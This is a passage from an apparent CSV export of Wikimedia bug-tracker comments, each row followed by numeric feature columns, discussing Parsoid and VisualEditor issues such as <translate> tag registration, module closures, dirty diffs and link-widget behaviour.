+There is a comment, but now a followup question requires addresssing",,,1380973744,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+226053,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I think I already did it yesterday.,,,1380972312,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+226048,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #17)
+> Assigning to James, hoping this may get a parsoid person to review the patch
+> that's been available for nearly a month now.
+
+Oh. We've been patiently waiting for you to merge it. :-(
+
+Will ping the team.",,,1380903233,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+226041,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Assigning to James, hoping this may get a parsoid person to review the patch that's been available for nearly a month now.",,,1380870838,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+226037,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"fwiw this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29
+
+I have also seen this problem here and there while editing at mediawiki.org. Then again these tags are not used in most Wikimedia projects or MediaWikis there so fair enough.",,,1380324098,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,12,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1
+226033,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #14)
+> In the long term yes, but wont this render VE useless on translatable pages
+> in the short them?
+
+Yes. On MW.org you can use the alien node editor to edit any extension node's contents (but they won't be rich), but on other wikis it will make them un-editable in VE.
+
+However, making a Translation extension editor in VE shouldn't be hard at all - I've created that as bug 53974 along the lines of other bugs.",,,1378773198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,1
+226028,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"In the long term yes, but wont this render VE useless on translatable pages in the short them?",,,1378772376,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+226022,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: If VE has to support editing for <translate>, <tvar>, etc. tags, Parsoid has to know about those tags. Parsoid finds out about installed tags by querying mediawiki API. So, either MW API should expose this information for hooks automatically or we need a different API endpoint, or you have to register them.",,,1378754413,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+226016,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,See the above commit. It is not thoroughly tested. I still don't understand what would the benefit.,,,1378751046,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,10,,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+226008,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 83427 had a related patch set uploaded by Nikerabbit:
+Register translate and tvar to the parser
+
+https://gerrit.wikimedia.org/r/83427",,,1378750854,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+225999,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Ping.,,,1377214396,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+225992,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Does someone want to try registering them and see what happens? I probably don't have time before Wikimania.,,,1375385299,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,0
+225986,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"I don't know. Either the registration would just be symbolic without any side effects, or it could also interfere with the current functionality.",,,1375380363,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+225980,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,@Niklas are there issues with registering them?,,,1375380132,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,0
+225975,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,*** Bug 52408 has been marked as a duplicate of this bug. ***,,,1375378489,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+225969,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid needs to know if something is a valid extension tag so that it can process them rather than escape them to literal text.  This will also let VE support them in the future and protect them from being modified right now.
+
+Is there any other way to discover that <translate>, <tvar>, <language> are valid tags on the wiki, i.e. what is the mediawiki api endpoint?  So far we've been using siprop and fetching installed extension tags and use that to detect these.",,,1375378361,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,4,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+225965,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,<translate> and <tvar> are not a normal extension tags. Please explain why I should register them.,,,1369809699,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1
+225960,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #2)
+> Parsoid does fetch a list of registered extensions from the config and uses
+> that to wrap the block with mw:Object/Extension/<ext-name-here> type. All
+> other unknown tags are pass through as plain text.
+
+Ah, my apologies; I thought you were doing this, but it didn't even occur to me that the Translate extension might fail to do this. Re-filing.",,,1369765885,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+225956,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Parsoid does fetch a list of registered extensions from the config and uses that to wrap the block with mw:Object/Extension/<ext-name-here> type. All other unknown tags are pass through as plain text.
+
+The problem is that mediawiki does not report <translate> as an installed extension.  Check http://www.mediawiki.org/w/api.php?action=query&meta=siteinfo&format=jsonfm&siprop=extensiontags
+
+Any idea why mw.org is not reporting <translate> as a registered extension?",,,1369761569,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,1
+225949,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Yes, the Translate extension needs to be extended to support VisualEditor editing, but the core issue is that Parsoid doesn't recognise <translate> as an extension block; should it take the local list of registered extensions, and for ones it hasn't been told how to deal with just wrap it as a typeof=""mw:Object/Unknown"" or something similar?",,,1369745248,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,1,True,,,-5,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+50885,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"This may introduce a really large number of scopes and have undesirable performance effects, but we need to come up with a solution nonetheless.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369733100,1551737186.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_description,declined,True,c1,1,False,False,False,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+1236806,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"In MediaWiki, we moved away from the closures (IIFEs), see {add9bd191fd4d16250b301208600854cb52f6b33} and {91f950d6b0677166134bc58eb487943a63f97b00}. So I believe this is no longer desirable.",,,1551737186,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,296,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+225630,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"Rephrasing bug.
+
+Problems:
+
+
+* We're repeatedly referencing $/mw from global scope instead of securing the reference. This is worse for performance and for proper functioning (e.g. jQuery might be redefined at a later time causing version mismatches, this is why ResourceLoader maps $) 
+
+* We're using $ and mw directly instead of mapping jQuery and mediaWiki.
+
+* In standalone, our code executes in the global scope. This is bad.
+
+Solution:
+
+* For standalone, build the dist/ files with a closure mapping, securing and caching '$' from 'jQuery'. And for VE modules other than ve.base, it would also map 've' to 'VisualEditor' (bug 67642)
+
+* In MediaWiki, ResourceLoader already provides a closure which we'd extend to also map 've' to 'VisualEditor'.",,,1404778634,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+225625,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"I suggest for standalone we introduce an module-intro/outro that is used to wrap around individual modules (not per file).
+
+So e.g. dist/ve.core.js would be:
+
+-- intro
+( function ( ve, $ ) {
+ -- include ve.js
+ -- include ve.A.js
+ -- include ve.B.js
+ -- include ve.C.js
+-- outro
+}( VisualEditor, jQuery ) );
+
+And in MediaWiki the same would effectively happen but on-demand by ResourceLoader (since we don't want to use a build system for MW, but instead work on the raw source files directly and have them build dynamically).
+
+See bug 48886 for details, but the end result would be:
+
+-- startup:
+register(
+ ..,
+ [ 'ext.visualEditor', 1234, ...., ['VisualEditor']
+);
+
+-- mw.loader:
+ script( $, global[propKeys..].. );
+
+-- load.php response when loading visualeditor:
+mw.loader.implement( 'ext.visualEditor.core', function ( $, ve ) {
+ -- include ve.js
+ -- include ve.A.js
+ -- include ve.B.js
+ -- include ve.C.js
+} );",,,1404777075,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,3,True,,,53,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+225620,Load visualeditor modules in a closure mapping $/mw/ve to their globals,"For the record, inside ResourceLoader context $ is a local variable provided by the ResourceLoader built-in closure.
+
+See also bug 48886.",,,1369734288,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4vzkkpi6vnpbfv2eknxj,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+50844,VisualEditor: Multiple empty lines turn into uneditable elements due to mwPlaceholder,"If wikitext contains several empty lines in a row, hovering over those lines in the VisualEditor will present them as uneditable elements. Since the VisualEditor is perfectly able to create and remove empty lines, this seems unnecessary.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369598340,1372007435.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,,False,PHID-TASK-cxhnj4waa436ovh4o7lz,task_description,resolved,True,c1,1,False,False,True,-6,,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+223313,VisualEditor: Multiple empty lines turn into uneditable elements due to mwPlaceholder,"This has been fixed (by removing the mwPlaceholder code in Parsoid, now that VisualEditor can handle these). Sorry for not responding before.",,,1372007435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cxhnj4waa436ovh4o7lz,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+50830,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"In this edit the user only made the ""die -> der"" change. In addition the </small> was removed by the VisualEditor.
+
+http://de.wikipedia.org/w/index.php?title=Fu%C3%9Fball-Bremen-Liga_2012%2F13&diff=118880158&oldid=118873211
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+T52052
+T52050",Medium,50.0,1369561740,1642380960.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-c3wc4a6vunygqboimdkx,task_description,resolved,True,c1,1,True,False,False,-6,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+1845920,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so.",,,1642380960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,3,True,,,446,,1,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+222148,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"OK, then it's a different issue. Created a new one for it: #50050.",,,1371986974,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+222139,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"This is due to the merging of the 2 <b> tags. Currently it fails compare custom attributes like ""style"" when attempting to merge equal annotation sequences.",,,1371986731,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1
+222131,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,Other example: https://www.mediawiki.org/w/index.php?title=Git%2FConversion%2Fpywikipedia&diff=714194&oldid=713893 (not tag removal but tag property removal). The only real edit is at the bottom.,,,1371986436,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+50829,VisualEditor: Write test cases for ElementLinearData#getAnnotationIndexesFromOffset,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369560000,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7lzwyjbh5q62jpz2njvq,task_description,open,True,c1,1,True,False,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+50796,VisualEditor: Deleting a line break causes strange results,"Steps to Reproduce:
+
+1. Go to https://www.mediawiki.org/wiki/API:Alltransclusions
+2. Insert a blank line after the first paragraph.
+3. Use the Del key (not backspace) to delete that line.
+
+Rather than deleting the line, the first keypress (sometimes) does nothing. And then the second keypress finally gets rid of the newline, but attempting to save the page shows a diff with the newline still added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369423680,1372007371.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_description,resolved,True,c1,1,False,False,True,-6,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+219887,VisualEditor: Deleting a line break causes strange results,This was fixed in the re-write of deletion handling in CE; sorry for not marking it as such beforehand.,,,1372007371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+219884,VisualEditor: Deleting a line break causes strange results,"Created attachment 12390
+Bug in Firefox 21
+
+The described problem is slight different for me (Firefox 21)
+
+When inserting a new line and then deleting it, the paragraph is swapped with the next one.
+
+Although both paragraphs are still present on the visual editor, the edit diff shows that the first one has been removed.
+
+**Attached**: {F10655}",,,1369425726,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+50789,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"There are essentially two ways to create a link:
+
+#1 You enter the link's text, select it, click the link button (or CTRL-K), and choose the link target.
+
+#2 You click the link button first, enter the target and get out of the dialog, at which point the link text (identical to chosen link target) will be entered.
+
+I'm not sure which method users prefer, but it's clear that both methods should work seamlessly. However, with the current setup both methods are problematic:
+
+#1 Once the correct target has been picked (either by entering it, or by selecting from the list), it is not quite clear what the user should do next. Is the back arrow the right thing to do, or does that cancel the selection? Should I simply click outside of the dialog, or does that cancel? It turns out: if the target was selected from the list, both these actions are correct and do not cancel the choice, but if the link target was entered by hand (and not followed by Enter!), both actions do cancel the choice. The fastest way is to enter the link target and hit Enter twice. This is all fairly unintuitive.
+
